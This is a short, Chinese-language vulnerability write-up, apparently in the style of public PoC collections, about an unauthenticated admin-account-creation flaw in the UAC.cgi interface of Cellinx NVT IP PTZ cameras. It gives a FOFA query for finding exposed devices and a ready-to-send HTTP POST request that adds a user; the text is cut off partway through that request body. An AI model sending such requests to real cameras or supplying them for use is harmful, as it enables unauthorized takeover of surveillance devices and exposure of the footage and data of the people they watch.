0x01 产品简介
Cellinx NVT IP PTZ是韩国Cellinx公司的一个摄像机设备。
0x02 漏洞概述
Cellinx NVT 摄像机 UAC.cgi接口处存在任意用户创建漏洞,未经身份认证的攻击者可利用此接口创建管理员账户,登录后台可查看敏感信息,使系统处于极不安全的状态。
0x03 复现环境
FOFA:body="local/NVT-string.js"
0x04 漏洞复现
PoC
POST /cgi-bin/UAC.cgi?TYPE=json HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"jsonData":{"username":"guest","password":"","option":"add_user","data":{"username":"test123","password":"test123